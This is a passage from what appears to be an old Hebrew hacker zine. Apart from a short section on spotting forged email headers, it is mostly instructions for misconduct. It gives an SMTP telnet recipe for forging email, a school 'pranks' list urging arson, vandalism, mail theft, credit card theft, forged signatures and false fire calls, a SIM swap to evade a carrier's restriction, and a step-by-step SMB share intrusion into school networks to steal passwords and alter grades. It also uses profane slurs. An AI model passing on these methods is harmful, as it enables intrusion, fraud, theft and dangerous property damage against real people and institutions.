‫ובכן‪ ,‬בכל תוכנת דואר הראשים (‪ )Headers‬ייראו קצת שונה‪ ,‬ולכן אני אתן פה כמה טיפים לגילוי‬
‫זיוף‬
‫אימייל שיעבדו גם בתוכנות שבהם מאוד קשה לגלות אם זה מזויף או לא‪ .‬ובכן‪ ,‬דבר ראשון‪,‬‬
‫באימייל אמיתי‪,‬‬
‫יהיו בד"כ יותר הסברים והגדרות כי זה נשלח ע"י תוכנת דואר‪ .‬לכן הראשים יהיו בד"כ ארוכים‪.‬‬
‫באימייל מזויף לעומת זאת‪ ,‬שנעשה בד"כ ידנית‪ ,‬לא יהיה הרבה פרטים בראשים‪ ,‬והם יהיה הרבה‬
‫יותר קצרים‪.‬‬
‫עכשיו בואו תראו משהו אחר‪ .‬נשווה פה בין ‪ 2‬אימיילים מזויפים ששלחתי לעצמי‪ .‬אחד ל‬
‫‪altavista.com‬‬
‫ואחד ל ‪.hotmail.com‬‬
‫בואו נראה קודם את האחד ב ‪:hotmail.com‬‬

‫‪From admin@hotmail.com.com Sat Dec 09 16:34:21 2000‬‬


‫‪Received: from [212.179.186.110] by hotmail.com )3.2( ; Sat Dec 09 16:32:54 2000‬‬
‫‪Subject: Congradulations‬‬
‫‪Date: Sat Dec 09‬‬

‫כמו שאתם רואים השלוח טוען שהוא ‪Admin@hotmail.com.com‬‬


‫אבל כתוב שכתובת האיי פי שלו היא ‪212.179.186.110‬‬
‫אם נבדוק את האיי פי של ‪ hotmail.com‬נראה שזה בכלל ‪64.4.11.7‬‬
‫כלומר יש לנו פה שתי מחשבים מאוד שונים‪ .‬כמו כן אם נבדוק את הכתובת של‬
‫‪ 212.179.186.110‬אנחנו‬
‫נראה שזה בעצם ‪ .bzq-186-110.bezeqint.net‬כלומר משתמש של בזק בינלאומי‪** .‬בום** תפסנו‬
‫אותו‪.‬‬

‫עכשיו באלטה ויזטה המצב מאוד דומה‪:‬‬

‫‪From: admin@nba.com‬‬

‫‪Date: Sun 11 November‬‬

‫‪Subject: Congradulations‬‬
‫‪)Received: from unknown )HELO nba.com( )212.179.186.110‬‬
‫‪by smtp.altavista.com )209.228.13.94( with SMTP; 9 Dec 2000 16:46:20 -0800‬‬

‫הפעם השולח טוען שהוא ‪admin@nba.com‬‬


‫לכן נבדוק את האיי פי של ‪ nba.com‬ומתברר לנו שזה ‪204.202.128.223‬‬
‫מה שלא ממש דומה ל ‪ 212.179.186.110‬אשר מתברר להיות אותו משתמש של בזק בינלאומי‬
‫ממקודם‪.‬‬
‫כמו כן יש לנו כאן את כתובת השרת דואר שקיבל את המכתב‪209.228.13.94 .‬‬
‫אנחנו מקבלים את התאריך והשעה המדויקים של מתי נשלח המכתב‪ .‬שחקו עם זה‪...‬‬
‫שוב‪ ,‬אני ממש ממש ממליץ לקרוא את ‪ RFC 821‬לכל מי שיודע אנגלית‬

‫‪41‬‬
‫או שסתאם רוצה להעמיק את הידע באימייל‪ .‬קריאת ה ‪ RFC‬תיתן לכם הרבה יותר הבנה של‬
‫הנושא‪.‬‬
‫מקווה ש ‪ 3‬העמודים הארוכים והמשעממים האלה על אימייל עזרו לכם במשהו‪,‬‬

‫‪GeHeNoM‬‬

‫‪42‬‬
‫מדריך זיוף ‪ Email‬מקוצר‬

‫[‪ :::::‬הערה ‪ -‬אל תגידו שאתם לא מבינים ותפסיקו לקרוא‪ .‬תקראו עד הסוף ותבינו!!! ‪]:::::‬‬
‫[‪ ::‬למי שעוד לא הבין מה אני רוצה ממנו‪ ,‬תקראו עד הסוף סוף סוף‪ .‬כי בהתחלה הכל לא מובן‪,‬‬
‫‪]::‬‬
‫[‪ ::‬ואם קוראים עד הסוף אז הכל כן מובן‪ .‬יפה‪ .‬אז עכשיו תקראו מההתחלה עד הסוף‪ .‬בלי‬
‫להפסיק באמצע‪]:: .‬‬
‫שוב‪ ,‬תקראו עד הסוף‪ .‬גם אם אתם חושבים שלא מבינים כלום‪ .‬תקראו עד הסוף‪ .‬סוף‪ .‬סוף‪.‬‬
‫סוף‪.‬‬

‫אוקי‪ ,‬יא בני זונות עצלנים כוס אימא שלכם‪,‬‬


‫אז בגלל שלרובכם אין כוח לקרוא ‪ 3‬עמודים מלאים על זיוף אימייל כתבתי פה מדריך מקוצר‪.‬‬
‫חסר לכם שאתם לא נהנים ממנו‪ .‬תפיצו את המדריך הזה‪ .‬תנו עותק לכל בנאדם שאתם מכירים‪.‬‬
‫טוב‪ ,‬נתחיל‪.‬‬

‫הוראות‪ :‬מתחברים לשרת הדואר‪ ,‬לפורט ‪ .25‬שם כותבים את הפקודות הבאות‪:‬‬

‫‪HELO‬‬
‫‪Mail From: hacker@Hackers.com‬‬
‫‪Rcpt To: victim@Victim.com‬‬
‫‪Data‬‬
‫‪Subject: Fake Email‬‬
‫‪Date: Mon 23 October‬‬

‫‪This is a fake email‬‬


‫‪Have a nice day you bitch‬‬
‫‪.‬‬
‫‪quit‬‬

‫טוב‪ .‬עכשיו כמה הסברים‪:‬‬

‫‪ = hacker@Hackers.com‬כתבו במקום את הכתובת שממנה אתם רוצים לשלוח את האימייל‬

‫‪ = victim@Victim.com‬כתבו במקום את הכתובת שתקבל את האימייל המזויף‬

‫‪ = Fake Email‬כתבו כאן את הנושא של האימייל‪ .‬או הכותרת אם אתם רוצים‪( .‬אותו דבר)‬

‫‪ = Mon 23 October‬כתבו כאן את התאריך‪ .‬אפשר גם להוסיף שעה כמובן‪.‬‬


‫אפשר גם לכתוב שזה נשלח לפני ‪ 1000‬שנה או ההפך‪ ,‬בשנת ‪ ,4072‬איך שאתם רוצים‪ .‬שחקו עם‬
‫זה‪.‬‬

‫‪This is a fake email‬‬


‫‪ = Have a nice day you bitch‬כתבו כאן את המכתב עצמו‪ .‬אפשר גם בעברית‪.‬‬

‫ודרך אגב‪ ,‬גם את הנושא (או הכותרת לאלה מכם שרוצים) אפשר לכתוב בעברית‪.‬‬
‫רק הערה אחרונה‪ ,‬ואחרונה באמת‪ :‬איך מתחברים לשרת הדואר לפורט ‪??25‬‬
‫ככה‪:‬‬
‫* לחצו על התחל‬
‫* לחצו על הפעלה‪...‬‬

‫‪43‬‬
‫* הקלידו‪telnet server 25 :‬‬

‫‪ = server‬כתובת של שרת דואר‬


‫לדוגמא‪ ,‬אם ניקח את הדוגמא מקודם סביר להניח שהשרת דואר היה ‪mail.victim.com‬‬
‫ולכן הייתם מקלידים‪telnet mail.victim.com 25 :‬‬
‫עוד אפשרויות לכתובת נפוצות‪:‬‬
‫‪smtp.victim.com‬‬
‫מה שכבר היה‪mail.victim.com ,‬‬
‫ואחרון חביב ‪victim.com‬‬

‫אז נגיד אתם מזייפים למישהו ב ‪ altavista.com‬אתם תקלידו‪telnet mail.altavista.com 25 :‬‬


‫ואם לא עובד תנסו ‪ smtp.altavista.com‬ואם גם זה לא‪ ,‬אז פשוט ‪ altavista.com‬פשוט‪ ,‬פשוט‪,‬‬
‫פשוט‪.‬‬
‫אם יש בעיות‪ ,‬תקראו את הכתבה המלאה של ה ‪ 3‬עמודים‪ .‬זהו‪ .‬תיהנו‪ .‬שלכם‪,‬‬

‫‪GeHeNoM‬‬

‫‪44‬‬
‫דברים כייפים לעשות בבית ספר ‪2 -‬‬

‫לאור הפופלריות של החלק הראשון‪ ,‬צוות האתר החליט לכתוב עוד כתבה בנושא‬
‫'איך ליהנות במקום המחורבן הנקרא בית ספר'‪ .‬אנחנו בטוחים שתיהנו‪ ,‬ומקווים שתבינו‬
‫מה באמת טוב בשבילכם ומי אתם באמת‪ ,‬ושלא תיתנו לבני זונות להשתלט לכם על המוח‪.‬‬
‫טוב‪ ,‬חאלס עם ההקדמה‪ ,‬הנה כל הרעיונות שקפצו לנו לראש‪:‬‬

‫* קחו דבק מגע‪ ,‬ומירחו אותו בנדיבות על כל המנעולים בבית הספר‪.‬‬


‫אח"כ תביטו איך המורים מנסים להכניס את המפתח למנעול‪ .‬הם פשוט מנסים‪ ,‬ומנסים‪,‬‬
‫ומנסים‪...‬‬

‫* אם יש לכם טלוויזיה בבית ספר‪ ,‬ציירו על המסך עם טיפקס‪.‬‬

‫* כשהמסדרונות מלאים‪ ,‬קחו כמה חברים‪ ,‬ותטענו שאתם מחפשים את העדשות מגע שלכם‪,‬‬
‫ושחשוב מאוד שאף אחד לא יזוז‪ ,‬כי מישהו יכול בטעות לדרוך על זה‪...‬‬

‫* מירחו שפתון‪ ,‬דבק‪ ,‬בוץ‪ ,‬או קקי על הידית של הדלת של החדר מורים ושל חדר המנהל‪.‬‬

‫* כייסו מבית מרקחת תרופות נגד הקשת נחש‪ .‬לכו ליד חדר המנהל‪ ,‬תבלעו כדור או שניים‪,‬‬
‫ותיכנסו פנימה‪.‬‬
‫התרופה תגרום לכם להקיא‪ .‬תשתדלו להקיא על הכיסא‪ ,‬השטיח‪ ,‬ספרים‪ ,‬וכל מה שנמצא שם‪.‬‬

‫* פרצו את תיבות הדואר של המורים שלכם‪ .‬צלמו עותקים של כל דבר מעניין וחלקו לחברים‪.‬‬
‫תרגישו חופשי‬
‫להשתמש בצ'קים‪ ,‬כסף מזומן שלפעמים תמצאו‪ ,‬והכי מגניב‪ ,‬אם יהיה לכם מזל‪ ,‬זה מספר‬
‫כרטיס האשראי‪.‬‬

‫* השאירו פתקים ורמזים בכל מקום על כך ש "יום רביעי זה יום הצדק"‬

‫* ביום רביעי אל תעשו כלום‪.‬‬

‫* ביום חמישי אל תעשו כלום‪.‬‬

‫* ביום שישי אל תעשו כלום‪.‬‬

‫* בשבת לכו לבית ספר ותהרסו כל מה שאתם רואים‪ .‬מומלץ להצטייד בפטיש‪ ,‬בנזין‪ ,‬מצית‪,‬‬
‫סכין‪ ,‬והרבה הרבה הרבה אבל באמת שהרבה מצב רוח טוב‪.‬‬

‫* השיגו כמה שיותר דברים חתומים עם חתימת המורה שלכם (הודעות‪ ,‬מבחנים‪ ,‬אישורים‪ ,‬וכו')‪,‬‬
‫ושבו עם הכל כמה שעות ותתחילו לנסות לתרגל את שיטת החתימה שלו‪.‬‬
‫כשתגיעו לרמת זיוף איכותית‪ ,‬תמצאו את החתימה שלו כמשהו שימושי מאוד‪.‬‬

‫* תהיו נחמדים למורים שלכם‪ ,‬והזמינו בשבילם פיצה לבית‪ .‬עשו זאת בשמם ועל חשבונם כמובן‪.‬‬
‫אל תישכחו להזמין מנה משפחתית גדולה עם כל התוספות‪ ,‬ואני חושב שהם גם יירצו לשתות‬
‫הרבה‪.‬‬
‫ואל תשכחו גלידה‪ ,‬כי אולי הם גם יירצו גם קצת גלידה אחר כך‪...‬‬

‫* אחרי שהם צעקו שעות על איש המשלוח‪ ,‬ונאלצו לשלם ולהיתקע עם הפיצה‪,‬‬
‫אני בטוח שהם ישמחו לקבל ביקור ממכבי האש שיבואו להציל אותם מ"שריפה במטבח"‬
‫או כל שריפה אחרת שתירצו לספר עליה למכבי האש דרך הטלפון‪...‬‬

‫* לכו לשירותים בבית הספר וסתמו את הנקז בכיור עם‬


‫פלסטלינה ותנו לכל המים להשתחרר מהברז‪ .‬עשו זאת בסוף היום‪,‬‬
‫אחרי שכולם כבר הלכו הביתה‪ .‬ביום למחרת כל הבית ספר יהיה מוצף מים‪....‬‬

‫‪45‬‬
‫* מורים רבים נוטים להשאיר את היומן שלהם במצבים ומקומות לא מוגנים‪ .‬נצלו זאת בחוכמה‪.‬‬

‫* תתלשו את הסמלים מהמכוניות של המורים שלכם‪ .‬כל סמל עולה בשוק כמאה‪ ,‬מאה חמישים‬
‫שקל‪.‬‬
‫מכירו את הסמלים לאספנים או הוסיפו אותם לאוסף משלכם‪.‬‬

‫* תארגנו שביתה של כל השכבה והתנחלו במסדרון או ליד חדר המורים‪.‬‬

‫* הצטיידו במסמר או שניים ותעשו פנצ'רים בגלגלים של המכוניות של המורים שלכם‪.‬‬


‫כל יום תבחרו מכונית אחרת בצורה אקראית‪ .‬זה הופך את הכיף לגדול יותר‪...‬‬

‫* תנו לכמה תרנגולים או סנאים להסתובב חופשי בבית הספר‪.‬‬


‫השתמשו בלפחות ‪ 5‬תרנגולים‪/‬סנאים וזכרו כי כל המרבה הרי זה משובח‪.‬‬

‫* לכו לשירותים והכניסו כל מיני חפצים כמו כדור טניס‪ ,‬מכונית צעצוע‪ ,‬בובת פוקימן‪ ,‬בלון‬
‫מנופח‪,‬‬
‫וכו' לתוך האסלה ולאחר מכן הורידו את המים‪ .‬עשו זאת שוב ושוב ושוב עד שכבר אי אפשר‬
‫להוריד את המים‪.‬‬

‫* הניחו שעונים מעוררים בכל מיני מקומות מוסתרים בבית הספר‪ .‬אל תשכחו להפעיל אותם‬
‫קודם‪.‬‬

‫* תארגנו שילד ישכב על הפנים לכיוון הרצפה‪ .‬כשמורה ויתקרב לאזור‬


‫צירחו בהיסטריות משהו כמו "הוא קפץ!‪ ,‬הוא קפץ" והצביעו לכיוון חלון בקומה שלישית או‬
‫משהו‪.‬‬

‫* התקשרו מהפלאפון לבית הספר ותעמידו פנים שאתם האבא של איזה ילד בבית הספר‪,‬‬
‫ושיישלחו אותו _עכשיו_ הביתה ושהוא צריך לחזור מהר כי סבתא נפטרה או כי יש מסיבה‬
‫משפחתית לדוד מוטי‬
‫או כל דבר אחר שתחליטו להפליץ‪ .‬תחשבו על סיבות משלכם‪ .‬מקסימום אפשר להגיד שזה בגלל‬
‫אירוע משפחתי‬
‫או שזה משהו אישי וכו'‪.‬‬

‫* פחחחחחחחחחחחחחחחחחחחחחחח‪.....‬‬
‫חשבתם שיש עוד???? צדקתם‪ .‬נו‪ ,‬תעברו ל'*' הבאה‪.‬‬

‫* לכו לקומה שנייה או שלישית בבית הספר‪ ,‬כאשר כמה שיותר גבוה יותר טוב‪.‬‬
‫כעת שחקו את משחק היריקות ע"פ החוקים הבאים‪:‬‬

‫‪ -‬פגיעה בילד‪/‬ילדה מורידה ‪ 3‬נקודות‬


‫‪ -‬פגיעה במורה מוסיפה ‪ 10‬נקודות‬
‫‪ -‬פגיעה בבעל חיים מוסיפה נקודה‬
‫‪ -‬פגיעה בכל דבר אחר לא עושה כלום‬
‫הערות אחרונות‪:‬‬
‫מומלץ להתכופף אחרי כל יריקה כדי שלא ייראו אתכם‪.‬‬
‫המנצח הוא מי שמגיע ראשון ל ‪ 50‬נקודות‪.‬‬
‫כל החוקים פתוחים לשינויים‪.‬‬
‫למי שלא הבין המשחק פועל בדרך הבאה‪ :‬כל אחד יורק בתורו וצובר נקודות (או שלא)‪ .‬תיהנו‪.‬‬

‫* קחו כמה שקיות ניילון שקופות ומלאו אותם בקמח‪ .‬כעת החביאו אותם בכל מיני מקומות‬
‫שיפחידו‬
‫את מי שיימצא אותם‪ .‬מקומות מומלצים הם באמצע איזה ספר‪ ,‬מתחת לספר‪ ,‬בתוך קלמר‪ ,‬בתוך‬
‫תיק‪ ,‬בתוך ארנק‬

‫‪46‬‬
‫או כל מקום אחר של הילדים שהם המטרה שלכם‪ .‬מומלץ שגם תשימו קצת מלח פה ושם למקרה‬
‫שהם ינסו להסניף‬
‫את החומר ואז תשמעו הרבה אאאאאההההההה פצ'ווווווווו ו אאאאאייייייייייייייככככססס‪....‬‬

‫* ולסיום‪ ,‬משהו שכולם מכירים אבל קצת נשכח בשנתיים שלוש האחרונות‪.‬‬
‫קחו עת‪ ,‬או טוש (לורד)‪ ,‬ופרקו את שני הקצוות שלו כך שיישאר לכם מעין קשית פלסטיק‪.‬‬
‫כעת גלגלו כדור קטן של פלסטלינה ושימו אותו בקצה אחד‪ .‬עכשיו תנשפו חזק בקצה השני‬
‫והפלסטלינה תעוף‪.‬‬
‫שחקו עם זה קצת עד שתלמדו להעיף ולכוון טוב‪ .‬אם אין פלסטלינה תמיד אפשר להשתמש בנייר‪.‬‬
‫מומלץ להרטיב אותו לפני שיורים וככה הוא עף יותר טוב‪.‬‬
‫למי שלא מכיר‪ ,‬לכלי הנשק המפגר אך המהנה הזה קוראים טפו טפו‪.‬‬

‫זהו‪ ,‬כאן תם החלק השני של 'איך לכייף בבית הספר'‪.‬‬


‫תדפיסו את מה שקראתם עכשיו‪ ,‬תצלמו כמה עשרות עותקים‪,‬‬
‫תחלקו לחברים‪ ,‬ותיהנו‪.‬‬
‫שלכם‪,‬‬
‫‪GeHeNoM‬‬

‫‪47‬‬
‫אייקונים בביג טוק‬

‫בזמן האחרון‪ ,‬שמעתי מהרבה אנשים‪ ,‬הרבה תלונות‪ ,‬על כך שהם לא יכולים להשתמש בשירות‬
‫האייקונים של אורנג' מהסיבה הפשוטה שיש להם ביג טוק‪ .‬ובכן‪ ,‬לכל הביג טוקים עם ה ‪5110‬‬
‫שלהם‪ ,‬שרוצים לשים אייקון בפלאפון וחשבו שהם לא יכולים‪ ,‬אז טעיתם‪ .‬כי ממעמקי הצד האפל‬
‫של הגיהינום‪ ,‬אני בא אליכם‪ ,‬עם ‪ 100%‬רוע טהור‪ ,‬אני הוא גיהינום‪ ,‬שיראה לכם איך לרמות על‬
‫הבני זונות‪.‬‬

‫ובכן‪ ,‬השיטה פשוטה וקלה ביותר‪ ,‬ואני מתקשה להבין איך אתם הקוראים החכמים שלי לא‬
‫חשבתם על זה לבד‪.‬‬
‫אז ככה‪ ,‬טכנית‪ ,‬הדגם שלכם מסוגל להשתמש באייקונים‪ .‬אבל מה‪ ,‬אורנג' משום מה החליטה‬
‫שמי שיש לו ביג טוק‪ ,‬לא יכול‪ .‬למה? לא יודע‪.‬‬

‫אז איך דופקים אותם?‬


‫קחו פלאפון של מישהו אחר‪ ,‬מאותו דגם‪,‬‬
‫(אם לכם יש ‪ ,6110‬אז קחו ‪ .6110‬אם יש לכם ‪ ,5110‬אז קחו ‪)5110‬‬
‫בעצם זה לא חייב להיות מאותו דגם‪ ,‬אבל סתאם שיהיה יותר מגניב קחו מאותו דגם‪,‬‬
‫ושבעל הפלאפון הזה לא יהיה רשום בשירות ביג טוק‪ ,‬ככה שאצלו שירות האייקונים לא יהיה‬
‫חסום‪.‬‬
‫זה יכול להיות כל דבר חוץ מביג טוק‪ .‬שיהיה אורנג' בי יו‪ ,‬אורנג' משפחה‪ ,‬זה לא משנה‪...‬‬

‫עכשיו החליפו אייתו את כרטיס ה ‪.sim‬‬


‫איך מחליפים כרטיס ‪?sim‬‬
‫קודם כל תכבו את המכשיר‪.‬‬
‫עכשיו תוציאו את הסוללה מהפלאפון‪ ,‬ושם תראו את מחזיק ה ‪.sim‬‬
‫פיתחו אותו‪ ,‬ושילפו בעדינות את הכרטיס‪ .‬כעת שימו אותו בצד‪,‬‬
‫ותכניסו בפנים את הכרטיס מהפלאפון השני‪.‬‬
‫החזירו את הסוללה למקום‪ ,‬והפעילו את הפלאפון‪.‬‬

‫עכשיו אורנג' לא תזהה שיש לכם ביג טוק‪ ,‬כי מבחינה טכנית כרגע אין לכם‪,‬‬
‫לכן שילחו לעצמכם איזה אייקון שבא לכם‪.‬‬
‫אחרי שהוספתם לכם אייקון פצצה‪ ,‬החליפו בחזרה את כרטיס ה ‪ ,sim‬ונחשו מה? האייקון‬
‫יישאר‪.‬‬
‫למה? כי הוא נשמר על המכשיר ולא על הכרטיס‪ .‬מקווה מאוווד שתהנווו‪,‬‬

‫‪GeHeNoM‬‬

‫‪48‬‬
‫פריצה למחשבים‬

‫כן‪ ,‬זה נכון‪ ,‬אני עומד להסביר לכם צעד אחר צעד ובעברית‪,‬‬
‫איך מהמחשב האישי שלכם בבית‪ ,‬תוכלו לפרוץ למחשבים אחרים‪.‬‬

‫ובכן‪ ,‬סביר להניח שבבית הספר שלכם לדוגמא‪ ,‬ישנה רשת מחשבים מחורבנת‬
‫של המון מחשבים עם ווינדוס ‪ 95/98‬שכולם מחוברים עם איזה חיבור‬
‫מהיר (פחות או יותר) דרך שרת ‪ NT‬וכי לכל המחשבים האלה ישנה רק מדפסת אחת‬
‫או שניים‪ ,‬אך כל המחשבים יכולים להדפיס במדפסת‪ ,‬ויש גם כמה ספריות‪ ,‬על מחשב‬
‫השרת‪ ,‬שלכל המחשבים יש גישה אליהם‪ .‬זה לא כך בכל בית ספר או בכל משרד‬
‫או בכל מוסד חינוכי‪ ,‬או בכל רשת מחשבים עם ווינדוס‪ ,‬אבל זה כך במקרים רבים‪.‬‬
‫חדרתי להמון בתי ספר שרשת המחשבים שלהם הייתה בנויה בצורה כזו‪.‬‬

‫אז איך לעזאזל כל זה עובד?‬


‫מיקרוסופט השיקה יחד עם הווינדוס את האפשרות לשתף מדפסות או קבצים עם‬
‫מחשבים אחרים‪ .‬המחשבים האחרים האלה יכולים להיות מחשבים ממרחק חצי מטר‬
‫שמחוברים למחשב שהפעיל את השיתופים עם כבל‪ ,‬וזה יכול להיות‬
‫המחשב שלכם בבית שנמצא בכלל במדינה אחרת‪ ,‬מדינת היהודים‪.‬‬

‫השיתופים מבוססים על פרוטוקל ה ‪ SMB‬שהוא פרוטקול הנותן למחשבים שונים לתקשר‬


‫ביניהם כמו כל פרוטוקול אינטרנט‪ .‬לכן שימוש בשיתופים כאמצעי חדירה יכול גם‬
‫להיעשות ממחשב עם לינוקס (לינוקס תומכת ב ‪.)SMB‬‬

‫טוב‪ ,‬אז אתם בטח כבר מתים להתחיל‪ ,‬אבל איזה תוכנה אתם צריכים להוריד? כלום‪.‬‬
‫הכל בא יחד עם הווינדוס‪ .‬במקרה שהווינדוס שלכם צרוב‪ ,‬ישנם סיכויים‬
‫שתיאלצו להשיג לכם עותק מקורי של דיסק ההתקנה של ווינדוס ‪.95/98‬‬
‫אבל כנראה תסתדרו גם בלי זה‪.‬‬

‫בכל אופן‪ ,‬לחצו על התחל ‪ >-‬הגדרות ‪ >-‬לוח בקרה‬

‫לוח הבקרה מלא בשטויות‪ .‬תחפשו קובץ בשם 'רשת' עם סמל של מחשבים שמחוברים למדפסת‪.‬‬
‫לחצו על ה'רשת' פעמיים עם העכבר‪ .‬ייפתח לכם חלון חדש‪ .‬אתם תראו כי רכיבי רשת‬
‫כגון ‪ TCP/IP‬ו ‪ Dial-Up Adapter‬מותקנים אצלכם במחשב‪.‬‬
‫בכדי שתוכלו להשתמש בפרוטוקול ה ‪ SMB‬אתם צריכים ש ‪ 3‬רכיבי הרשת הבאים‬
‫יהיו מותקנים לכם במחשב‪:‬‬

‫* ‪TCP/IP‬‬
‫* ‪NetBEUI‬‬
‫* ‪Client for Microsoft Networks‬‬

‫אם אחד מרכיבים אלה לא נמצא ברשימת הרכיבים‪ ,‬אתם צריכים להוסיף אותו‪.‬‬
‫בלי כל ארבעת רכיבים אלה‪ ,‬אינכם יכולים להתחבר לשיתופים על מחשבים אחרים‬
‫מה שלא נותן לכם גישה לקבצים שלהם‪ .‬חרא‪ .‬אז אני אתן פה הוראות להתקנת כל רכיב‪.‬‬
‫דרך אגב‪ ,‬אם יש לכם עוד רכיבים מותקנים‪ ,‬שלא ציינתי פה‪ ,‬זה בסדר גמור ואין עם‬
‫זה שום בעיה‪ .‬טוב‪ ,‬אז כדי להתקין את מה שאולי חסר לכם‪...‬‬

‫‪TCP/IP‬‬
‫אם חסר לכם רכיב זה‪ ,‬לחצו על הכפתור 'הוספה‪'...‬‬
‫בחרו ב פרוטוקול ‪ >-‬מיקרוסופט ‪ .TCP/IP >-‬יפה‪ .‬ט‪-‬עים מ‪-‬אוד‪.‬‬

‫‪NetBEUI‬‬

‫‪49‬‬
‫אם חסר לכם רכיב זה‪ ,‬לחצו על הכפתור 'הוספה‪'...‬‬
‫בחרו ב פרוטוקול ‪ >-‬מיקרוסופט ‪ .NetBEUI >-‬יפה‪ .‬ח‪-‬מים‪ .‬מ‪-‬אוד‪.‬‬

‫‪Client for Microsoft Networks‬‬


‫אם חסר לכם רכיב זה‪ ,‬לחצו על הכפתור 'הוספה‪'...‬‬
‫בחרו ב לקוח ‪ >-‬מיקרוסופט ‪ .Client for Microsoft Networks >-‬מ‪-‬געיל‪ .‬בעאה‪.‬‬

‫טוב‪ ,‬אז עכשיו שיש לכם את שלושת הרכיבים אתם כמעט ומוכנים לפריצה הראשונה שלכם‪.‬‬
‫מתחת ל "כניסה ראשית לרשת‪ ":‬בחרו באפשרות ‪.Client for Microsoft Networks‬‬
‫כעת לחצו על כפתור ה ‪ OK‬או פשוט הקישו על מקש ה ‪ .Enter‬אתם תתבקשו להפעיל את‬
‫המחשב מחדש‪ .‬עשו זאת‪ .‬אם לא נפתח חלון שביקש ממכם לעשות זאת‪ ,‬עשו זאת בכל מקרה‪.‬‬

‫טוב‪ ,‬נכנסתם לווינדוס מחדש‪ ,‬ואתם רוצים כבר להשיג סיסמאות‪ ,‬כרטיסי אשראי‪,‬‬
‫משחקים‪ ,‬תוכנות‪ ,‬מכתבים אישיים‪ ,‬לשנות ציונים‪ ,‬למחוק לאחרים קבצים‪,‬‬
‫אז איך לעזאזל פורצים???‬
‫אם אני לא טועה זאת אחת השאלות הנפוצות ביותר כיום בעולם הצ'אטים‪.‬‬
‫טוב‪ ,‬אז תמציאו כתובת איי פי של מחשב שאליו אתם מתכוונים לחדור‪.‬‬
‫תבדקו שאתם מחוברים לאינטרנט‪ ,‬פתחו חלון דוס‪ ,‬והקלידו‪:‬‬

‫‪nbtstat -A ipaddress‬‬

‫לדוגמא‪:‬‬

‫‪nbtstat -A 127.0.0.1‬‬

‫חשוב ש ה ‪ -A‬יהיה '‪ 'A‬ולא '‪.'a‬‬


‫בכל מקרה‪ ,‬אם תקבלו כתגובה‪:‬‬

‫‪Host not found‬‬

‫זה אומר שלא תוכלו לחדור למחשב זה‪ .‬אז אתם שואלים איך לעזאזל אתם‬
‫אמורים למצוא מחשבים עם שיתופים שאליהם כן תוכלו לחדור???‬
‫ובכן‪ ,‬חשוב שתבינו פה שאין שיטה או קוד אחד שאייתו אפשר לחדור לכל מחשב בעולם‪.‬‬
‫זאת דוגמא טובה לדרך מסוימת לניצול חור אבטחה מסוים במערכת מסוימת‪.‬‬
‫מה שנותן לכם לחדור למחשבים מסוימים‪.‬‬
‫ובכן‪ ,‬יש לכם ‪ 2‬אפשרויות‪:‬‬

‫* חדירה למקום שאתם יודעים בוודאות כי יש לו שיתופים (לדוגמא‪ :‬בית ספר)‪.‬‬


‫* שימוש בסורק שיתופים‪ ,‬ואז לחדור למה שזה מוצא‪.‬‬

‫אז כשיש בידיכם כתובת איי פי של מחשב עם שיתופים‪ ,‬חיזרו לדוס‪ ,‬והקלידו‪:‬‬

‫‪nbtstat -A ipaddress‬‬

‫כאשר במקום ‪ ipaddress‬את מספר האיי פי‪ .‬אתם תקבלו טבלה שנראית בערך ככה‪:‬‬

‫‪50‬‬
‫‪NetBIOS Remote Machine Name Table‬‬

‫‪Name‬‬ ‫‪Type‬‬ ‫‪Status‬‬


‫‪---------------------------------------------‬‬
‫‪COMPUTER‬‬ ‫‪<00> UNIQUE‬‬ ‫‪Registered‬‬
‫‪WORKGROUP <00> GROUP‬‬ ‫‪Registered‬‬
‫‪COMPUTER‬‬ ‫‪<00> UNIQUE‬‬ ‫‪Registered‬‬

‫‪MAC Address = 00-00-00-00-00-00‬‬

‫כמו שאתם רואים החלפתי את כל המספרים ל ‪.00‬‬


‫אני רוצה שתתמקדו שנייה באפסים שבין ה <>‪ .‬כאשר אתם רואים שם‬
‫את המספר ‪ ,20‬כלומר <‪ ,>20‬זה אומר שלמחשב זה‪ ,‬קיימים שיתופים‪ .‬כמה מדהים‪.‬‬
‫אוקי‪ ,‬אז הלכתם לבית ספר‪ ,‬בדקתם את כתובת האיי פי של השרת המרכזי‪,‬‬
‫או שעשיתם שימוש בסורק‪ ,‬ומצאתם מחשב עם שיתופים‪ ,‬ובבית קיבלתם טבלה עם המספר‬
‫<‪ >20‬מה שאישר את עצם העובדה כי יש לכם פה מחשב עם פוטנציאל רב‪,‬‬
‫עכשיו אנרכיסטים יקרים‪ ,‬הגיע הזמן לעשות את הדבר הבא‪:‬‬

‫פיתחו את הקובץ‪:‬‬
‫‪C:\windows\lmhosts.sam‬‬
‫קראו אותו עם עורך טקסט ‪ 3 ,2‬פעמים‪ .‬אם לא הבנתם משם כלום‪ ,‬לא נורא‪.‬‬
‫כעת לחצו על התחל ‪ >-‬הפעלה‪ ...‬והקלידו שם ‪ .notepad‬לחצו על מקש ה ‪.Enter‬‬
‫זה ייפתח לכם את העורך החביב שלנו‪ .‬תדאגו שאתם מקלידים משמאל לימין של הקובץ‪.‬‬
‫הקלידו שם את האיי פי של המחשב שבו מצאתם שיתופים‪ .‬לדוגמא‪:‬‬
‫‪127.0.0.1‬‬
‫כעת שימרו את הקובץ בשם הבא‪:‬‬
‫‪C:\windows\lmhosts‬‬
‫פשוט כך‪.‬‬
‫אם יש לכם יותר מכתובת איי פי אחת שברצונכם לפרוץ אליה‪,‬‬
‫אז תפרידו בין כתובת לכתובת בעזרת הורדת השורה (עם מקש ה ‪)Enter‬‬
‫הקובץ שלכם אמור להיראות כך‪:‬‬

‫‪127.0.0.1‬‬
‫‪112.179.15.9‬‬
‫‪37.105.1.17‬‬

‫טוב‪ ,‬אז יש לכם את הקובץ שמור‪ ,‬ועכשיו‪,‬‬


‫לרגע שחיכיתם לו‪ ...‬לחצו על תפריט התחל ‪ >-‬חפש ‪ >-‬מחשב‬
‫ייפתח לכם חלון חדש עם תיבת טקסט קטנה‪ ,‬הקלידו בה את האיי פי של המחשב‬
‫שאליו ברצונכם לפרוץ‪ ,‬לדוגמא‪ 127.0.0.1 :‬זאת אחרי שהאיי פי ששמרתם את האיי פי‬
‫בקובץ ‪ .C:\windows\lmhosts‬הקישו על מקש ה ‪ Enter‬וחכו קצת‪.‬‬
‫לאחר זמן מה זה יימצא לכם מחשב‪ .‬לחצו עליו פעמיים עם העכבר‪.‬‬
‫חלון חדש ייפתח שייתן לכם להשתמש במחשב בדיוק כאילו הוא שלכם!!!‬
